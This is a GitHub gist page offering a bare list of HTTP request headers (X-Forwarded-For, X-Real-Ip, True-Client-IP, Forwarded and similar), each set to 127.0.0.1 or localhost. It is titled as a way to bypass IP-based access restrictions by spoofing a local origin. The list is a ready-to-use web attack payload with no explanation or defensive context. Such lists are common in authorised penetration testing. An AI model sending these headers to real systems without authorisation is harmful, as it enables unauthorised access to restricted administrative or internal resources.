Skip to content

Instantly share code, notes, and snippets.

@yehgdotnet
Last active August 24, 2023 17:30
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save yehgdotnet/ec6ae948a6735d66f6eaff2ef60649a3 to your computer and use it in GitHub Desktop.
Save yehgdotnet/ec6ae948a6735d66f6eaff2ef60649a3 to your computer and use it in GitHub Desktop.
Bypass IP-based restriction through spoofed localhost header
X-Azure-ClientIP: 127.0.0.1
X-Azure-SocketIP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Target-IP: 127.0.0.1
X-Forwarded-Host: localhost
True-Client-IP: 127.0.0.1
X-Original-URL: 127.0.0.1
Front-End-Https: 127.0.0.1
X-host: 127.0.0.1
Forwarded: for=127.0.0.1;proto=http;by=127.0.0.1
True-Client-Ip: 127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
Via: 127.0.0.1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment